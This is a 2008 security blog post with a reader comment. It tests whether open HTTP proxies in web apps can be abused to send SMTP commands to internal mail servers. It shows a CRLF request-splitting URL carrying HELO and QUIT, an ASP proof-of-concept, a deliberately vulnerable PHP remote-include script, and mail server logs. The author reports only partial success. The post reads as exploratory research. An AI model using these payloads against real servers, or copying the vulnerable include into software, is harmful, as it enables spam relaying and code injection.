Thursday, March 27, 2008

Smuggling SMTP through open HTTP proxies

We know that Intranet port scanning through open proxies in web apps can lead to information disclosure (leaking what servers are listening on what ports) and even unauthorized access to HTTP applications that are not exposed to the outside world. What I've been trying to figure out over the past couple of days is how much damage can you do to non HTTP applications, like SMTP/POP/FTP/etc. I've come to a few interesting conclusions.

To put it simply, what we are able to do in this situation is open a TCP socket between the web server and the target server, and send the target server an HTTP request. Depending on how the target handles the request, it could keep the socket open or close it immediately. In the case of a connection left open, your web browser/client will hang while the web server also hangs waiting for a proper HTTP response from the target. Eventually, the web server or the target will close the connection and the web server will send a response back to you. If the target closes the connection immediately, you will get an immediate response from the web server.

My goal is to get the target service to actually consume and interpret parts of the HTTP request sent by the web server. In my testing, I focused on SMTP, and I did this for two reasons. First, I already had an SMTP server running. Second, this would be a great way for spammers to hijack open SMTP servers that aren't directly exposed to the internet.

I started testing on Windows Server 2003 first. After sending an HTTP request and looking at the SMTP server logs, it was obvious what was happening. The SMTP server thought each line ending with \r\n was a command, and it generated appropriate errors (500). See below log example:

#Software: Microsoft Internet Information Services 6.0

#Version: 1.0

#Date: 2008-03-26 19:18:06

#Fields: date time c-ip cs-username s-sitename s-computername s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-win32-status sc-bytes cs-bytes time-taken cs-version cs-host cs(User-Agent) cs(Cookie) cs(Referer)

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 get - +/+HTTP/1.0 500 0 32 24 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 accept: - +*/* 500 0 32 11 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 referer: - +https://spoofedreferrer 500 0 32 84 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 ua-cpu: - +x86 500 0 32 11 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 user-agent: - +Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 500 0 32 106 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 host: - +192.168.1.2:25 500 0 32 24 0 SMTP - - - -

2008-03-26 19:18:06 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 connection: - +Keep-Alive 500 0 32 22 0 SMTP - - - -


When I sent this request, the connection stayed open and my browser hung until I restarted the SMTP service. As you can see from the log, the SMTP server looked at each line of the SMTP request as a command. If you can control the HTTP headers of your request, you can send commands to the SMTP server. Control of the request headers can come in a number of ways.
1. Request splitting. Example: http://www.webserver.com/vulnProxy?url=http://smtp-server/ HTTP/1.1%0D%0AHELO smtp-server%0D%0AQUIT%0D%0A
2. Some proxies may take all the headers your client sends and include them in the proxied request.

Proof of Concept

SMTP SERVER LOG:
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2008-03-27 00:21:49
#Fields: date time c-ip cs-username s-sitename s-computername s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-win32-status sc-bytes cs-bytes time-taken cs-version cs-host cs(User-Agent) cs(Cookie) cs(Referer)

2008-03-27 00:21:49 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 get - +/MAIL%0D%0A+HTTP/1.0 500 0 32 24 0 SMTP - - - -

2008-03-27 00:21:49 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 accept: - +*/* 500 0 32 11 0 SMTP - - - -

2008-03-27 00:21:49 192.168.1.1 - SMTPSVC1 SERVERUPLINK1 192.168.1.2 0 QUIT - - 240 0 62 22 0 SMTP - - - -


ASP SCRIPT ON THE WEB SERVER:
<%
dim http

'set http = createobject("Msxml2.XMLHTTP.4.0")
'set http = createobject("Msxml2.ServerXMLHTTP.4.0")
set http = createobject("Msxml2.XMLHTTP")
'set http = createobject("Microsoft.xmlhttp")
'Set http = CreateObject("WinHttp.WinHttpRequest.5.1")

http.open "GET", "http://192.168.1.2:25/MAIL%0D%0A", false
http.setrequestheader "QUIT xx","serveruplink1" '& vbcrlf & "EHLO"
http.send
response.write http.ResponseText
%>



HTTP RESPONSE FROM ASP SCRIPT:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 00:21:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 241
Content-Type: text/html
Cache-control: private


220 ServerUplink1 Microsoft ESMTP MAIL Service, Version: 6.0.3790.3959 ready at Wed, 26 Mar 2008 19:21:49 -0500
500 5.3.3 Unrecognized command
500 5.3.3 Unrecognized command
221 2.0.0 ServerUplink1 Service closing transmission channel



In the above example, I was able to get the SMTP server to execute the QUIT command, which of course is pretty benign. I haven't gotten any productive commands executing because I haven't been able to gain complete control over the HTTP request. Apparently, WinHTTP guards against request splitting pretty well :-)

I thought I may have some better luck with PHP, so I hooked up the extremely vulnerable PHP script you see below to test with:
<?
print "Hello world!";
include $_GET['mike'];
?>


The PHP include function can be used to execute PHP inline from local or remote resources. That said, calling vulnProxy.php?mike=http://127.0.0.1:25 will generate the below HTTP request:
GET / HTTP/1.1
Host: 127.0.0.1


Since we are sending the request to port 25, the request will be interpreted by sendmail SMTP. Below are some log entries. I like how sendmail has a clue about open proxies :-)

root@mikezusman log]# tail -f maillog
Mar 26 18:20:47 mikezusman sendmail[22438]: m2QFKldb022438: mikezusman.com [127.0.0.1]: probable open proxy: command=GET /_M HTTP/1.0\r\n

Mar 26 18:20:47 mikezusman sendmail[22438]: m2QFKldb022438: mikezusman.com [127.0.0.1] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 26 19:19:14 mikezusman sendmail[15375]: m2QEu8aC015375: timeout waiting for input from mikezusman.com during server cmd read

Mar 26 19:19:14 mikezusman sendmail[15375]: m2QEu8aC015375: mikezusman.com [127.0.0.1] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 27 00:33:04 mikezusman sendmail[5631]: m2QLX3QR005631: mikezusman.com [127.0.0.1]: probable open proxy: command=GET /_M HTTP/1.0\r\n

Mar 27 00:33:04 mikezusman sendmail[5631]: m2QLX3QR005631: mikezusman.com [127.0.0.1] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 27 03:33:10 mikezusman sendmail[28294]: m2R0X9Mo028294: mikezusman.com [127.0.0.1]: probable open proxy: command=GET / HTTP/1.0\r\n


I had the same trouble with PHP that I did with ASP and Java. I also tested the above scenarios using the Java HttpUrlConnection object and the results were the same. I couldn't get complete control over the request because of built-in input validation. That's not to say it's impossible - I just haven't figured it out yet.

To conclude, in an open proxy situation, the more control over the server generated HTTP request the user has, the more the user will be able to connect to services other than HTTP. The only roadblock to complete SMTP hijacking was the request splitting mitigation built in to the various connection methods I tested. Perhaps there is a way around them that I'm not aware of. If so, I'd love to know about it ( %0D%0A, \r\n didn't work :-). I also wonder if there are any developers out their who do not use these standard methods of generating HTTP requests. I'm sure it would be pretty difficult to roll-your-own and protect yourself against these splitting attacks.

1 comment:

Milan said...

Interesting, I just see a spammer "smuggling" SMTP commands via a customer's open proxy server. Haven't seen anything like this before.... its sophisticated approach :)